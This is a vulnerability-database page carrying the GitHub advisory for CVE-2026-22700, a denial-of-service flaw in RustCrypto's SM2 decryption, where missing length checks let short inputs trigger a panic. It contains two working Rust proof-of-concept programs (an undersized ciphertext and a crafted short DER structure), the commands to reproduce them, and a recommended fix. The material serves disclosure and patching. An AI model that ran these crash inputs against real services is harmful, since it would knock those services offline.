\u003c 65\n    let encoded_c1 = EncodedPoint::from_bytes(c1).map_err(Error::from)?;\n\n    // ... (lines 170-178 omitted)\n\n    let digest_size = hasher.output_size();  // Typically 32 for SM3\n    let (c2, c3) = match mode {\n        Mode::C1C3C2 =\u003e {\n            let (c3, c2) = c.split_at(digest_size);  // PANIC HERE if c.len() \u003c 32\n            (c2, c3)\n        }\n        Mode::C1C2C3 =\u003e c.split_at(c.len() - digest_size),  // PANIC HERE if c.len() \u003c 32\n    };\n\n```\n\nRust\u0027s `slice::split_at` panics when the split index is greater than the slice length. A panic in library code typically unwinds the thread and can crash an application if not explicitly caught. This means an attacker that can submit ciphertexts to a service using this library may cause a DoS.\n\n\n\n\n### Proof of Concept (PoC)\n\nTwo PoCs were added to this repository under `examples/` demonstrating the two\ncommon ways to trigger the issue:\n\n- `examples/poc_short_ciphertext.rs` \u2014 constructs a deliberately undersized\n  ciphertext (e.g., `vec![0u8; 10]`) and passes it to `DecryptingKey::decrypt`.\n  This triggers the `cipher.split_at(c1_len)` panic.\n\n  ``` rust\n  //! PoC: trigger panic in SM2 decryption by supplying a ciphertext that is shorter\n  //! than the expected C1 length so that `cipher.split_at(c1_len)` panics.\n  //!\n  //! Usage:\n  //!   cargo run --example poc_short_ciphertext\n  \n  use rand_core::OsRng;\n  \n  use sm2::pke::DecryptingKey;\n  use sm2::SecretKey;\n  \n  fn main() {\n      // Generate a normal secret key and DecryptingKey instance.\n      let mut rng = OsRng;\n      let sk = SecretKey::try_from_rng(\u0026mut rng).expect(\"failed to generate secret key\");\n      let dk = DecryptingKey::new(sk);\n  \n      // to trigger the vulnerability in `decrypt()` where it does `cipher.split_at(c1_len)`.\n      let short_ciphertext = vec![0u8; 10]; // deliberately too short\n  \n      println!(\"Calling decrypt with undersized ciphertext (len = {})...\", short_ciphertext.len());\n  \n      // The panic is the PoC for the lack of length validation.\n      let _ = dk.decrypt(\u0026short_ciphertext);\n  \n      // If the library were robust, this line would be reached and decrypt would return Err.\n      println!(\"decrypt returned (unexpected) - PoC did not panic\");\n  }\n  ```\n  \n  \n  \n- `examples/poc_der_short.rs` \u2014 constructs an ASN.1 `Cipher` structure with\n  valid-length `x`/`y` coordinates (from a generated public key) but with tiny\n  `digest` and `cipher` OCTET STRING fields (1 byte each). When run with the\n  crate built with `--features std`, `Cipher::from_der` accepts the DER and the\n  call flows into `decrypt()`, which then panics on the later `split_at`.\n  \n  ``` rust\n  //! Usage:\n  //!   RUST_BACKTRACE=1 cargo run --example poc_der_short --features std\n  \n  use rand_core::OsRng;\n  use sm2::SecretKey;\n  use sm2::pke::DecryptingKey;\n  \n  fn build_der(x: \u0026[u8], y: \u0026[u8], digest: \u0026[u8], cipher: \u0026[u8]) -\u003e Vec\u003cu8\u003e {\n      // Build SEQUENCE { INTEGER x, INTEGER y, OCTET STRING digest, OCTET STRING cipher }\n      let mut body = Vec::new();\n  \n      // INTEGER x\n      body.push(0x02);\n      body.push(x.len() as u8);\n      body.extend_from_slice(x);\n  \n      // INTEGER y\n      body.push(0x02);\n      body.push(y.len() as u8);\n      body.extend_from_slice(y);\n  \n      // OCTET STRING digest (intentionally tiny)\n      body.push(0x04);\n      body.push(digest.len() as u8);\n      body.extend_from_slice(digest);\n  \n      // OCTET STRING cipher (intentionally tiny)\n      body.push(0x04);\n      body.push(cipher.len() as u8);\n      body.extend_from_slice(cipher);\n  \n      // SEQUENCE header\n      let mut der = Vec::new();\n      der.push(0x30);\n      der.push(body.len() as u8);\n      der.extend(body);\n      der\n  }\n  \n  fn main() {\n      let mut rng = OsRng;\n      let sk = SecretKey::try_from_rng(\u0026mut rng).expect(\"failed to generate secret key\");\n      // Extract recipient public key coordinates before moving the secret key into DecryptingKey\n      let pk = sk.public_key();\n      let dk = DecryptingKey::new(sk);\n      // get SEC1 encoding 0x04 || X || Y and slice out X and Y\n      let sec1 = pk.to_sec1_bytes();\n      let sec1_ref: \u0026[u8] = sec1.as_ref();\n      let x = \u0026sec1_ref[1..33];\n      let y = \u0026sec1_ref[33..65];\n      // Very small digest and cipher to trigger length-based panics inside decrypt()\n      let digest = [0x33u8; 1];\n      let cipher = [0x44u8; 1];\n  \n      let der = build_der(x, y, \u0026digest, \u0026cipher);\n  \n      println!(\"Calling decrypt_der with crafted short DER (len={})...\", der.len());\n  \n      // Expected to panic inside decrypt() due to missing length checks when splitting\n      let _ = dk.decrypt_der(\u0026der);\n  \n      println!(\"decrypt_der returned (unexpected) - PoC did not panic\");\n  }\n  ```\n  \n  \n\nReproduction (from repository root):\n\n```bash\n# PoC that directly uses decrypt on a short buffer\ncargo run --example poc_short_ciphertext --features std\n\n# PoC that passes a short DER to decrypt_der\nRUST_BACKTRACE=1 cargo run --example poc_der_short --features std\n```\n\n\n\n\n### Impact\n\n- Direct Denial of Service: remote untrusted input can crash the thread/process handling decryption.\n- Low attacker effort: crafting short inputs or small DER octet strings is trivial.\n- Wide exposure: any application that exposes decryption endpoints and links this library is at risk.\n\n\n### Recommended Fix\n\nPerform defensive length checks before any `split_at` usage and return a controlled `Err` instead of allowing a panic. Minimal fixes in `decrypt()`:\n\n```rust\nlet c1_len_usize = c1_len as usize;\nif cipher.len() \u003c c1_len_usize {\n    return Err(Error);\n}\nlet (c1, c) = cipher.split_at(c1_len_usize);\n\nlet digest_size = hasher.output_size();\nif c.len() \u003c digest_size {\n    return Err(Error);\n}\nlet (c2, c3) = match mode {\n    Mode::C1C3C2 =\u003e {\n        let (c3, c2) = c.split_at(digest_size);\n        (c2, c3)\n    }\n    Mode::C1C2C3 =\u003e c.split_at(c.len() - digest_size),\n};\n```\n\nAfter applying these checks, `decrypt()` will return an error for short or malformed inputs instead of panicking.\n\n\n\n### **Credit**\n\nThis vulnerability was discovered by:\n\n- XlabAI Team of Tencent Xuanwu Lab\n\n- Atuin Automated Vulnerability Discovery Engine\n\nCVE and credit are preferred.\n\nIf you have any questions regarding the vulnerability details, please feel free to reach out to us for further discussion. Our email address is xlabai@tencent.com.\n\n \n\n### **Note**\n\nWe follow the security industry standard disclosure policy\u2014the 90+30 policy (reference: https://googleprojectzero.blogspot.com/p/vulnerability-disclosure-policy.html). If the aforementioned vulnerabilities cannot be fixed within 90 days of submission, we reserve the right to publicly disclose all information about the issues after this timeframe.",
  "id": "GHSA-j9xq-69pf-pcm8",
  "modified": "2026-01-13T15:02:23Z",
  "published": "2026-01-13T15:02:23Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/RustCrypto/elliptic-curves/security/advisories/GHSA-j9xq-69pf-pcm8"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-22700"
    },
    {
      "type": "WEB",
      "url": "https://github.com/RustCrypto/elliptic-curves/pull/1603"
    },
    {
      "type": "WEB",
      "url": "https://github.com/RustCrypto/elliptic-curves/commit/e60e99167a9a2b187ebe80c994c5204b0fdaf4ab"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/RustCrypto/elliptic-curves"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "RustCrypto Has Insufficient Length Validation in decrypt() in SM2-PKE"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted

CVE-2026-22700 (GCVE-0-2026-22700)

FKIE_CVE-2026-22700

GHSA-J9XQ-69PF-PCM8

Summary

Affected Component / Versions

Details

Proof of Concept (PoC)

Impact

Recommended Fix

Credit

Note

Tags

Sightings

Nomenclature

Related by attack behaviour